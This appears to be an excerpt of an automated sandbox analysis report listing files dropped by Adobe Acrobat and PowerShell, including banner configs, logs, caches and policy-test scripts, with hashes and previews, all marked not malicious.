Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.271145984180546
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJf+dPeUkwRe9:YvXKXWVdUTbdGJZG28Ukee9
MD5:	D564DD3AD32629002A6C8D5F12B60603
SHA1:	2CEE39210C1E6076F65FD65B66645B4F69AA7138
SHA-256:	7B3CF9424DB2821E61264B32B0F55A4172D748D5EA832274A83514624E21CF91
SHA-512:	CA1A61C145B2B7758A4F4F290C8F52C0E83E65EBD222CCB8F0B7104F79739AB750ACDAB51864D44210D4CB6B8338D3977B1C409C47C9333AF41403393AA3C74D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.269001233844238
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJfbPtdPeUkwRe9:YvXKXWVdUTbdGJZGDV8Ukee9
MD5:	B878DD947A46339FC96BEE3CEAFB9B6E
SHA1:	5E6CC9AF9600EEF716E29DD0F41F73DF88A37E47
SHA-256:	FD65F7D70634B72188E6DB905F03DCA0D6180E97AE59F05C79B36BA4FF5DDFAD
SHA-512:	F74093E19AEEFF3D7D7FB761A4474FF89DD2A164D331AD6D2914E91E1BEE6B5971B74355EB8471860D5104FD74BDE2B6DFAB1DC84E37D3479C8609151D33AF44
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.272475689935275
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJf21rPeUkwRe9:YvXKXWVdUTbdGJZG+16Ukee9
MD5:	87E30FA9646F117297C13514AD70EF2F
SHA1:	AC18D58E1EAF34F2F8803CC460C8F2006504E866
SHA-256:	03641E55F9736AC1A677876F163EF86EB9FC9C4636D23191A542866774005D76
SHA-512:	D383C77287572714D0615904A48091E3047D60EDF471F7FE6EB8375158E37B44681336486545610BDC87916DE58B20352F39276AA61F77F3627F377ACE0F76F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663734544836249
Encrypted:	false
SSDEEP:	24:Yv6X+UXlamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSI:YvnwZBgkDMUJUAh8cvMI
MD5:	D94F2BEC666A3EE1A65406D69F97CD3C
SHA1:	1825C7C1B4F6496EACDC0A79E7BF457B5ACAA5C0
SHA-256:	CBF6C6F02BF3E965CCC1EEDC190C66BAB847CE67C420C9C5FEC657000F1EF27D
SHA-512:	A3F027C1559B4CA6CAF9407C9596EC516BE33F5077E17B2E01336829649BF1DB4E0A630343A8020A0501237312C8A57BDC3DF9DC9E74E01C39E4B006FD6E9E33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.247468260715539
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJfshHHrPeUkwRe9:YvXKXWVdUTbdGJZGUUUkee9
MD5:	C1C8A9397256C76AD832D836508590FB
SHA1:	DBBDF3244DD9361B0F4166E815721E7AF5B89A44
SHA-256:	F2D518E790D7CE62D48E61CF1C15E73411957DF76C5198B5DB662570FF3D971D
SHA-512:	7140329F11973344E885EEFF056349528CCC2D4D5C6EDDB6E59334F6674EA421758B5F1E9C4389C9BDD3491A26613CC8386F068A75B5D3D317315D5BEABE6D20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.256436642107637
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJTqgFCrPeUkwRe9:YvXKXWVdUTbdGJZGTq16Ukee9
MD5:	1B44F6DC987C8A22046205A73A707B76
SHA1:	FC90835DB02D3BDBF3D375517AAD76FE7D79744D
SHA-256:	2AA464F6C1CF18B4067A3542E18C4D61D659D89E6966A14C2FDA5907F615EB76
SHA-512:	56C0B11693E714DEB1DF0DE7371D67059CE5488E7574A194A76FEF2478A00EB0F1EBF7B73538345B2594EEDB883FF2B99E3A0647B4CCFBC45B426C3266259C17
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134812468557198
Encrypted:	false
SSDEEP:	48:YVP8IRzKo06+xtlBFfbW+U1bazMzN59rw:G8I1Kx6+xtlBFfCWzMp0
MD5:	F5A5C585A42258A8345650EE81C6F3BE
SHA1:	EDB13098E471913ECA761EBD7A246C398E144D34
SHA-256:	F0462F6E324BF6F562B5EB0ED5CBD34DF826A5D00B43D1CE1721470E11BB1CAD
SHA-512:	271D06FA2B95C968310E8E9D54BFDB8C03747CDD14115189FFBDC4A07F668EFAC1153E41514CAA37FDF1BD659C2F0A27C6395924DB370FB87D3636D2323CFEF0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"760c0a1a18400913eb71a1d2cee64ba6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736581853000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"76644e08fa2cef7e14466509ad9bf87d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736581853000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"24fb371659291a2284a2d115d0740d73","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736581853000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4ba68a0c6681003487d5cd48a0ed3329","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736581853000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d93042545aac419de9dae6e0727e791e","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736581853000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ea777b169d3abad53059cc4f771e4233","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3204887588850809
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YX+EXSqXlyM:TGufl2GL7msUKB0M0+Tb608YOrM
MD5:	10DC50D8C1BB7D1793A014266459F6A6
SHA1:	B0A7A70F6DA9E8BEAB106CD90B726A30B14108D5
SHA-256:	2D213C6A5DDB430A7F8F4E2A8D3EB9F4999A289CAD36FDEBAC705FDB62D07AE2
SHA-512:	098D8668D6873F9B92060E7A38410199950A0BE91F1B0FA2844E56E23A27F51CA134F21A76A164E68D3F9AA4388CE12E520C9792C0A57B12F73C88AD4C85FEE1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.782272287092123
Encrypted:	false
SSDEEP:	24:7+tJEwl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YX/EXSqXlyGKaiaqLhx/XYKQN:7MrKB0M0+Tb608YPrGKWqFl2GL7msa
MD5:	73B890BC07F15F76388515A48506020A
SHA1:	4E535AAEF9E2DC35B10D03716BE26A9C8C378D6C
SHA-256:	39CC1ADE6AA8B56B3DD01675AEB5380A8059BABA6FBA505925FFFB4A3F1E86B5
SHA-512:	4EDD5308356BB96AFF34CC4607BC2B821D75E4052C3E8932A7E464A7ADFCFE814085C0AAC8A01D2CCD9E3BA3849F6401DFF880E0BA0F18FAF8CFADCE6795420A
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgxzqkcZIEXCyLUHVYrFhPPAIWzYyu:6a6TZ44ADExzmOEXCyLoV4mK
MD5:	7EB4D111C9D831F2D355802334831011
SHA1:	A1D22D288E20D3F09E25779A8568D2ED1C03DCB8
SHA-256:	D3252C5BEEC86EFE1BC8C3EF45167E5718E9464FB5A9CBB5E95FB06857761090
SHA-512:	2F1F3347B837A0D7C77CF0EA4B28BFD29677DB79BC8C1CDA07741915597CE83863BB067F8EDE7986992500639D7CD2178CE9F23EBBDB3D9F8E84982877F3BC59
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIec56c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4853349159267415
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClAl1CH:Qw946cPbiOxDlbYnuRKdN1CH
MD5:	03C3B0D166491E7D746A889432A9942A
SHA1:	8D58421DB05CA3BA619212C65B8FAE53FF964376
SHA-256:	B47E2656D9101E3228CB0CA80C4CACCF67D3EE1449207D4773B21C543DED1517
SHA-512:	F2461E1DF5CC6FC7713514AEE214989FC825CA9C82A2B764CE8258CB3193D59709901D676D3EE19CB53DB74FEF087F6434ED3FB10311944B4C157E81B9DB40B7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.5.0.:.5.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_alhhrbsj.ooz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vex4enps.or0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-50-46-903.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3753635254807195
Encrypted:	false
SSDEEP:	384:Kpcdkghie6NVcTFfvnX3j4KIJSZWyvxxEPEE2A4mxMNb4mmJIqHAAqTqn+LJjeBu:aID
MD5:	136BC717BEE7BC49FB40F6142208CFA9
SHA1:	5D3E4AA28120AA1F162ECA4DA80661331B3F0E0F
SHA-256:	71B399323E8C605801B370D93CCD4414A201A3974CBD89F1861F365B9E98DC57
SHA-512:	5A2334A3276198B4044921D20EEAD15984D216D4B004D03E1D7A4BAB5219F21E09DC0D2BF71167A3F80AECE32C46D7BA7DFC754EDE85759991559C79F0D2BEC9
Malicious:	false
Preview:	SessionID=67503177-8e5f-4674-b2ae-4833fdb9f5b1.1736581846918 Timestamp=2025-01-11T02:50:46:918-0500 ThreadID=8360 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=67503177-8e5f-4674-b2ae-4833fdb9f5b1.1736581846918 Timestamp=2025-01-11T02:50:46:944-0500 ThreadID=8360 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=67503177-8e5f-4674-b2ae-4833fdb9f5b1.1736581846918 Timestamp=2025-01-11T02:50:46:945-0500 ThreadID=8360 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=67503177-8e5f-4674-b2ae-4833fdb9f5b1.1736581846918 Timestamp=2025-01-11T02:50:46:945-0500 ThreadID=8360 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=67503177-8e5f-4674-b2ae-4833fdb9f5b1.1736581846918 Timestamp=2025-01-11T02:50:46:945-0500 ThreadID=8360 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.40302001145821
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmS:EGvIcNYd1VIfZ78
MD5:	D31AB979416B566EE793C9872E432A34
SHA1:	7A0B179329A0D239C3FE76A711F2F24C2627FB22
SHA-256:	79574BA5E3C901ED30200E605FCF36B106AF91051B5DCF6104D5A50B63C64D11
SHA-512:	F4462CE9EC3741A30DC10B0A2CA1E241B941184807138B521DD37DD240339851432B08A2587C6C4F2C859E21CB4737E3C9B613F19C28597A1176FBE7CFE50B3D
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2870f4ad-8ad7-4eea-8627-cb5e410917cd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\61bc4729-4881-4ce1-b4e0-82c406b3f2ee.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
